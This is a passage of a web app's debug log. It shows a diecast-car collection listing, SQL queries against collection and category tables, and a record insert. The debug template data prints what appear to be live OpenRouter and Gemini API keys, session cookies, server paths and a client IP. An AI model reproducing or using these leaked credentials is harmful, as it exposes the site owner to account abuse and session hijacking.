      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 77,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 76,
      model_name: 'Scania XT Firetruck',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-23T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Scania',
      vehicle_brand_id: 131,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 75,
      model_name: 'Volva 1986 240 Sedan',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 74,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 72,
      model_name: 'Alfa Romeo Duetto',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-22T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 71,
      model_name: '1966 Land Rover Gen 11 Safari',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-12T11:48:49.725Z server-connect:router Serving templateView /collections
2026-02-12T11:48:49.725Z server-connect:app Executing action step identify
2026-02-12T11:48:49.725Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:49.725Z server-connect:output identity: 1
2026-02-12T11:48:49.725Z server-connect:app Executing action step restrict
2026-02-12T11:48:49.725Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T11:48:49.726Z server-connect:output restrict: undefined
2026-02-12T11:48:49.726Z server-connect:router Render template masters/collections
2026-02-12T11:48:49.726Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-13T11:42:17.122Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AVuWNGukEoAyZ4JskBVUMgQ%3D%3D.SJ0vaHSyTgpJ1qefp%2BGB8u%2FnGZuNjO7Dc2%2F4VPqPOwFw1sxXOOw1cUzxBM77aTh7B8t6f5MjN2n0PSRe1dBxeAc%2Bjw%2BZKV0hySVCVy1u6%2Bvu3PBIweNfVvulQDZz6jbRYYewVn6z0628tI5Wg8BHk1NVM%2BZdfeBv%2FigAD5fQ2dI%3D.EUcazwg%2F2CileGia3wewO5Ynf9MlrjjmJ66U7NI2%2F%2Fk; your_r_git.sid=s%3ApCUztKKScRLwcaRqtcPWhkXs98ErqlRl.WgX99j%2Bv27wmvfKL877ACN2eY11oPgs3hzr4HG4aYtw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-12T11:48:50.044Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2026-02-12T11:48:50.045Z server-connect:app Executing action step identify
2026-02-12T11:48:50.045Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:50.045Z server-connect:output identity: 1
2026-02-12T11:48:50.045Z server-connect:app Executing action step restrict
2026-02-12T11:48:50.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:48:50.045Z server-connect:output restrict: undefined
2026-02-12T11:48:50.045Z server-connect:app Executing action step select
2026-02-12T11:48:50.046Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2026-02-12T11:48:50.049Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2026-02-12T11:48:50.052Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-12T11:48:50.052Z server-connect:app Executing action step identify
2026-02-12T11:48:50.052Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:50.052Z server-connect:output identity: 1
2026-02-12T11:48:50.052Z server-connect:app Executing action step restrict
2026-02-12T11:48:50.052Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:48:50.053Z server-connect:output restrict: undefined
2026-02-12T11:48:50.053Z server-connect:app Executing action step paged
2026-02-12T11:48:50.053Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-12T11:48:50.055Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 190,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 175 },
    current: 1,
    total: 8
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Jams Toys',
      id: 191,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2026-02-12T11:48:56.955Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-12T11:48:56.955Z server-connect:app Executing action step identify
2026-02-12T11:48:56.956Z server-connect:app options: { provider: 'security' }
2026-02-12T11:48:56.956Z server-connect:output identity: 1
2026-02-12T11:48:56.956Z server-connect:app Executing action step restrict
2026-02-12T11:48:56.956Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:48:56.956Z server-connect:output restrict: undefined
2026-02-12T11:48:56.956Z server-connect:app Executing action step paged
2026-02-12T11:48:56.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-12T11:48:56.959Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -25 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-12T11:49:10.900Z server-connect:router Serving serverConnect /api/masters/collections/manage
2026-02-12T11:49:10.901Z server-connect:app Executing action step identify
2026-02-12T11:49:10.901Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:10.901Z server-connect:output identity: 1
2026-02-12T11:49:10.901Z server-connect:app Executing action step restrict
2026-02-12T11:49:10.901Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:10.902Z server-connect:output restrict: undefined
2026-02-12T11:49:10.902Z server-connect:app Executing action step condition
2026-02-12T11:49:10.902Z server-connect:app options: {
  if: '{{$_POST.id}}',
  then: {
    steps: {
      name: 'update',
      module: 'dbupdater',
      action: 'update',
      options: [Object],
      meta: [Array]
    }
  },
  else: {
    steps: {
      name: 'insert',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2026-02-12T11:49:10.902Z server-connect:app Executing action step insert
2026-02-12T11:49:10.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'collections',
    returning: 'id',
    query: 'insert into `collections` (`collectiontype_id`, `name`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-12T11:49:10.903Z server-connect:output insert: { affected: 1, identity: 197 }
2026-02-12T11:49:10.903Z server-connect:output condition: undefined
2026-02-12T11:49:11.191Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2026-02-12T11:49:11.191Z server-connect:app Executing action step identify
2026-02-12T11:49:11.191Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:11.191Z server-connect:output identity: 1
2026-02-12T11:49:11.191Z server-connect:app Executing action step restrict
2026-02-12T11:49:11.191Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-12T11:49:11.192Z server-connect:output restrict: undefined
2026-02-12T11:49:11.192Z server-connect:app Executing action step paged
2026-02-12T11:49:11.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-12T11:49:11.194Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      name: 'Lexus',
      id: 197,
      collectiontype_id: 11,
      collection_type: 'Vehicle Brand'
    }
  ]
}
2026-02-12T11:49:12.839Z server-connect:router Serving templateView /diecast
2026-02-12T11:49:12.847Z server-connect:app Executing action step identify
2026-02-12T11:49:12.847Z server-connect:app options: { provider: 'security' }
2026-02-12T11:49:12.847Z server-connect:output identity: 1
2026-02-12T11:49:12.847Z server-connect:app Executing action step restrict
2026-02-12T11:49:12.848Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-12T11:49:12.848Z server-connect:output restrict: undefined
2026-02-12T11:49:12.848Z server-connect:router Render template diecast
2026-02-12T11:49:12.848Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
